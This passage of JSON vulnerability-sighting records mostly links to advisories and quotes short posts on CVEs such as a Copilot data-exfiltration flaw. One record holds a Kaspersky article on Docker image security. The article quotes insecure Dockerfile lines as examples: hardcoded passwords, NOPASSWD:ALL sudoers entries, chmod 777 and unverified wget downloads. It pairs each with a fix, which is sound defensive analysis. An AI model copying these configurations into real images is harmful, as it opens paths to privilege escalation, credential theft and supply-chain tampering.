"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24884", "type": "published-proof-of-concept", "source": "https://github.com/node-modules/compressing/security/advisories/GHSA-cc8f-xg8v-72m3", "content": "", "creation_timestamp": "2026-02-03T08:16:40.000000Z"}, {"uuid": "831954a5-1df5-45d8-aea5-e096359eb09d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24131", "type": "published-proof-of-concept", "source": "https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq", "content": "", "creation_timestamp": "2026-01-26T15:43:17.000000Z"}, {"uuid": "a47cabbe-f196-484b-a835-9c76cba6d233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24124", "type": "published-proof-of-concept", "source": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-j8hf-cp34-g4j7", "content": "", "creation_timestamp": "2026-01-22T04:18:10.000000Z"}, {"uuid": "695fce4e-6414-42fd-bd4b-76ce9b88d36b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24888", "type": "published-proof-of-concept", "source": "https://github.com/microsoft/maker.js/security/advisories/GHSA-2cp6-34r9-54xx", "content": "", "creation_timestamp": "2026-01-28T16:37:11.000000Z"}, {"uuid": "15a568dd-ec72-4ae0-8408-3297b9fa8829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24422", "type": "published-proof-of-concept", "source": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j4rc-96xj-gvqc", "content": "", "creation_timestamp": "2026-01-23T19:03:24.000000Z"}, {"uuid": "0ba724a2-6d69-4ced-8aad-3142223120d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24134", "type": "published-proof-of-concept", "source": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-8cw6-53m5-4932", "content": "", "creation_timestamp": "2026-01-27T21:40:07.000000Z"}, {"uuid": "a1f580a5-01a5-43fd-88ea-2f85249862e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24740", "type": "published-proof-of-concept", "source": "https://github.com/amir20/dozzle/security/advisories/GHSA-m855-r557-5rc5", "content": "", "creation_timestamp": "2026-01-26T16:22:59.000000Z"}, {"uuid": "193c7a10-ce6b-4eb6-b43d-9882d207b79f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24490", "type": "published-proof-of-concept", "source": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj", "content": "", "creation_timestamp": "2026-01-26T06:33:43.000000Z"}, {"uuid": "961259d1-08c6-4dd9-8457-545c2ad7b58f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24489", "type": "published-proof-of-concept", "source": "https://github.com/HappyHackingSpace/gakido/security/advisories/GHSA-gcgx-chcp-hxp9", "content": "", "creation_timestamp": "2026-01-25T14:57:39.000000Z"}, {"uuid": "917c0d01-144f-468e-b327-e4b5a99d9dd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24123", "type": "published-proof-of-concept", "source": "https://github.com/bentoml/BentoML/security/advisories/GHSA-6r62-w2q3-48hf", "content": "", "creation_timestamp": "2026-01-26T03:22:09.000000Z"}, {"uuid": "e59293b0-f224-4247-91d4-8e43c15e3f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24767", "type": "published-proof-of-concept", "source": "https://github.com/nocodb/nocodb/security/advisories/GHSA-xr7v-j379-34v9", "content": "", "creation_timestamp": "2026-01-28T11:30:15.000000Z"}, {"uuid": "c4694c50-7b15-4492-bb7f-bb752255c61d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24842", "type": "published-proof-of-concept", "source": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v", "content": "", "creation_timestamp": "2026-01-27T20:50:05.000000Z"}, {"uuid": "1e154922-cd0c-43c3-ad98-12ee75fca40b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24049", "type": "published-proof-of-concept", "source": "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx", "content": "", "creation_timestamp": "2026-01-22T00:00:15.000000Z"}, {"uuid": "460d9fce-1ef3-457d-b1de-03690231fd77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24420", "type": "published-proof-of-concept", "source": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7p9h-m7m8-vhhv", "content": "", "creation_timestamp": "2026-01-23T19:01:50.000000Z"}, {"uuid": "49de144d-0a97-4906-9b62-2c1618fd8a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/aibearnews.bsky.social/post/3mtiogf6yis23", "content": "\ud83d\udd12 Microsoft Copilot \u00e8 stato hackerato... dai suoi stessi ricercatori\nUna vulnerabilit\u00e0 (CVE-2026-24301, CVSS 8.8) permetteva di rubare Gmail, Drive e Calendar con un solo click. Scoperta con una tecnica bizzarra: i ricercatori hanno chiesto a Copilot perch\u00e9 l'attacco fosse impossibile, e...", "creation_timestamp": "2026-08-20T07:02:01.742156Z"}, {"uuid": "1ca475c9-29d8-405e-9b71-fb0e1cee8603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mtgvufr3d72c", "content": "\ud83d\udd12 CVE-2026-24301: \"CoSnitch\" vulnerability in Microsoft Copilot\n\nA severe \"CoSnitch\" vulnerability (CVE-2026-24301) in Microsoft Copilot Personal allowed attackers to silently sipho...\n\nhttps://tinyurl.com/27yuyjyg #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-08-19T14:09:48.537162Z"}, {"uuid": "4009db35-15f3-4e6a-9d83-3ee2c634c65b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24299", "type": "seen", "source": "https://bsky.app/profile/rhodzy.com/post/3msctydyhsw27", "content": "New blog post: Microsoft Copilot: More Like Copirate, Eh?\n\nMicrosoft Copilot promised a lot, but recent security issues show it's got some serious fla...\n\nhttps://rhodzy.com/blog/microsoft-copilot-more-like-copirate-eh\n\n#microsoftcopilot #cybersecurity #ai #datasecurity #microsoft365 #cve-2026-24299", "creation_timestamp": "2026-08-05T06:00:22.816082Z"}, {"uuid": "cfa27331-67a2-4d6f-8743-1b301dfefaca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2497", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mta4bx7xxq2p", "content": "CVE-2026-2497 gallery-plugin (CVSS Score 7.2) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-08-16T21:16:07.451619Z"}, {"uuid": "3bce637e-5dcb-4a4d-9460-f79b8c9387f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24299", "type": "seen", "source": "https://bsky.app/profile/rhodzy.com/post/3msd6262ob522", "content": "New blog post: Copilot: Another Day, Another Security Bollocks\n\nMicrosoft Copilot was meant to be the future, but turns out it's got more holes tha...\n\nhttps://rhodzy.com/blog/copilot-another-day-another-security-bollocks\n\n#microsoftcopilot #aisecurity #promptinjection #cybersecurity #cve-2026-24299", "creation_timestamp": "2026-08-05T09:00:21.153317Z"}, {"uuid": "a480e83c-a625-455d-8da6-abeb0f4dac6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-1122ebc0-12145c4779ccb07a", "content": "What\u2019s in the container? Analyzing vulnerabilities, risks and protection with Kaspersky Container Security and the KIRA AI assistant\nIntroduction\nContainerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.\nContainer-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.\nAt the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.\nIn other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.\nImage analysis results in Kaspersky Container Security\nTo help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant\u2019s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.\nAs part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we\u2019ll show you the results.\nSoftware vulnerabilities and compromise of update sources\nOne of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.\nTo apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.\nAn image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.\nVulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.\nIn addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.\nTo assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.\nTOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard\nIt is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation \u2013 which vary significantly from vulnerability to vulnerability \u2013 are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited \u2013 both individually and in various combinations \u2013 cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.\nA record number of vulnerabilities in a single image\nHowever, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack \u2013 a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.\nDetecting potentially malicious software using one of the images as an example\nThis leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.\nConfiguration vulnerabilities\nEven a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions \u2013 all of these can be exploited by attackers in one way or another to achieve their goals.\nInsecure image configurations detected by KCS based on rules\nThe situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container\u2019s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.\nStandard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.\nExample of container analysis using KIRA\nInsecure handling of credentials\nUse of default passwords\nIn some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.\nRUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd\nAccording to KIRA\u2019s analysis, the user\u2019s password is stored in plain text in the image layer history. Anyone who gains access to the image \u2013 whether through a public registry, a compromised build environment, or other means \u2013 will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.\nPasswords may be present in environment variables. Consider the following Dockerfile snippet:\nENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start\nIn this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.\nLet\u2019s look at another image:\n/bin/sh -c #(nop)  ENV MOODLE_URL=<a href=\"http://0.0.0.0/\">0.0.0.0</a> MOODLE_ADMIN admin       MOODLE_ADMIN_PASSWORD [removed]      MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST     MOODLE_DB_PASSWORD       MOODLE_DB_USER     MOODLE_DB_NAME    MOODLE_DB_PORT 3306\nFor this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.\nTo eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.\nPassing passwords via command arguments\nIn some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:\n/bin/sh -c #(nop)  HEALTHCHECK &{[\"\"CMD-SHELL\"\" \"\"mysql --protocol TCP -u\\\"\"root\\\"\" -p\\\"\"$MYSQL_ROOT_PASSWORD\\\"\" -e \\\"\"SELECT 1;\\\"\"\"\"] \"\"15s\"\" \"\"30s\"\" \"\"0s\"\" '\\x05'}\nIn the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container\u2019s processes or logs, they can extract the password and gain full control of the database.\nTo fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.\nPrivilege escalation in the container\nOne of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers\u2019 subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.\nThe situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.\nSimilarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.\nAttacks on sudo\nOne of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:\n/bin/sh -c set -xe;     apt-get update &&       apt-get -y install sudo;       echo \"\"solr ALL=(ALL) NOPASSWD: ALL\"\" >/etc/sudoers.d/solr;\nAnalyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.\necho 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers\nIn another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user \u2013 through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes \u2013 they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.\nAs a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.\nOur AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group \u2014 by modifying existing rules.\nperl -i -pe 's/\\bALL$/NOPASSWD:ALL/g' /etc/sudoers\nThe risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group \u2013 potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.\nTo mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism \u2013 such as gosu to run a specific process on behalf of another user without permanent privileges.\nInsecure file permissions\nAnother common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone \u2013 including unprivileged users \u2013 to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.\nConsider the following command:\nchmod 0777 /usr/share/cargo /usr/share/cargo/bin\nThe risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker\u2019s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.\nTo mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.\nLack of integrity checks\nDownloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.\nFor example, this risk may arise when downloading a distribution via HTTP:\nRUN /bin/sh -c wget -qO- \"\"<a href=\"http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz\">acestream.org/downloads/linux/\u2026 | tar --extract --gzip -C /opt/acestream\nUsing HTTP without verifying the archive\u2019s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.\nTo mitigate the risks, you can configure connections to web resources to use HTTPS only \u2014 if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.\nThere will still be a MitM risk even if certificate verification is disabled:\nwget --no-check-certificate<a href=\"https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip\"> github.com/phpvirtualbox/phpvi\u2026 -O phpvirtualbox.zip\nThe absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.\nTo mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.\nConclusion\nDocker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.\nOur research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.\nTo detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.\nThis approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization\u2019s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices. \nsecurelist.com/container-secur\u2026", "creation_timestamp": "2026-05-29T07:12:04.643314Z"}, {"uuid": "bd736330-5ae2-4727-830f-e6ca703bc802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/MVfTmsaSHIB0Ey-kxkJ2IT5SDI5JNsfPWKggKUAVISDEBZA", "content": "", "creation_timestamp": "2026-08-12T08:00:04.837483Z"}, {"uuid": "f6a9d5bd-8354-4b40-959a-5afe27f245b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/fireuppro.bsky.social/post/3mtkuo3szdc2c", "content": "CVE-2026-24301 (CoSnitch): Microsoft Copilot had a hidden autorun parameter that silently exfiltrated emails, calendar data and Drive files for 8 months\n\n#Microsoft #CoPilot", "creation_timestamp": "2026-08-21T03:59:05.036357Z"}, {"uuid": "1eeebd28-331e-43ef-8714-035f55d6e115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24254", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msd7pygpsm26", "content": "NVIDIA Dynamo Code Execution Flaw CVE-2026-24254 CVSS 9.8", "creation_timestamp": "2026-08-05T09:30:27.748186Z"}, {"uuid": "70ae2545-1026-43e3-ba30-eac0621e92fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/yayafa.bsky.social/post/3mth6bdvma62w", "content": "Microsoft Copilot Personal\u306b\u8106\u5f31\u6027\u3001\u9023\u643a\u30a2\u30d7\u30ea\u304b\u3089\u30ef\u30f3\u30af\u30ea\u30c3\u30af\u3067\u30c7\u30fc\u30bf\u3092\u6d41\u51fa\u3055\u305b\u308b\u6050\u308c\uff08CVE-2026-24301\uff09 | Codebook\uff5cSecurity News\n\nhttps://www.yayafa.com/2868613/\n\nMicrosoft Copilot \u2026", "creation_timestamp": "2026-08-19T16:40:13.458956Z"}, {"uuid": "709ba7ef-9723-4258-90f6-f796c7b31f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117117540428017104", "content": "Microsoft has an advisory for a new critical Copilot vulnerability.\nCRITICAL: CVE-2026-24301: Microsoft Copilot Information Disclosure Vulnerability https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24301\nMore information:\nCWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') https://cwe.mitre.org/data/definitions/77.html #infosec #Microsoft #Copilot #vulnerability", "creation_timestamp": "2026-08-18T16:50:47.362238Z"}, {"uuid": "33cd2b71-5fdb-4e40-9c7c-365c82e49f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-04)", "content": "", "creation_timestamp": "2026-08-05T10:15:15.986876Z"}, {"uuid": "857e8fa6-8fbb-42a9-bedb-7df717631027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24791", "type": "seen", "source": "https://www.acn.gov.it/portale/w/gitea-disponibili-poc-per-lo-sfruttamento-di-nuove-vulnerabilita", "content": "", "creation_timestamp": "2026-08-14T12:45:18.866061Z"}, {"uuid": "64fec4be-ece4-4a62-871b-4af8e2c0d0d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24087", "type": "seen", "source": "https://notnow.dev/objects/d63fe6f8-2c0f-4347-86b6-4c1e3e5b986e", "content": "lol, 4 months after Qualcomm devices got rooted with a Fastboot 0-day. Qualcomm finally acknowledges it in today\u2019s Security Bulletin. (CVE-2026-24087 and CVE-2026-24088)\nhttps://docs.qualcomm.com/securitybulletin/june-2026-bulletin.html", "creation_timestamp": "2026-06-01T16:14:39.674380Z"}, {"uuid": "f74a77bf-16fb-4f29-8d8d-e7e4aa57e5cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24088", "type": "seen", "source": "https://notnow.dev/objects/d63fe6f8-2c0f-4347-86b6-4c1e3e5b986e", "content": "lol, 4 months after Qualcomm devices got rooted with a Fastboot 0-day. Qualcomm finally acknowledges it in today\u2019s Security Bulletin. (CVE-2026-24087 and CVE-2026-24088)\nhttps://docs.qualcomm.com/securitybulletin/june-2026-bulletin.html", "creation_timestamp": "2026-06-01T16:14:39.832731Z"}, {"uuid": "c3a11c0c-b908-4df2-8750-bd08cff773c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24087", "type": "seen", "source": "https://bsky.app/profile/zhuowei.notnow.dev/post/3mnahz4yxic2k", "content": "4 months after Qualcomm devices got rooted with a Fastboot 0-day. Qualcomm finally acknowledges it in today\u2019s Security Bulletin. (CVE-2026-24087 and CVE-2026-24088)\ndocs.qualcomm.com/securitybull...", "creation_timestamp": "2026-06-01T16:14:46.574178Z"}, {"uuid": 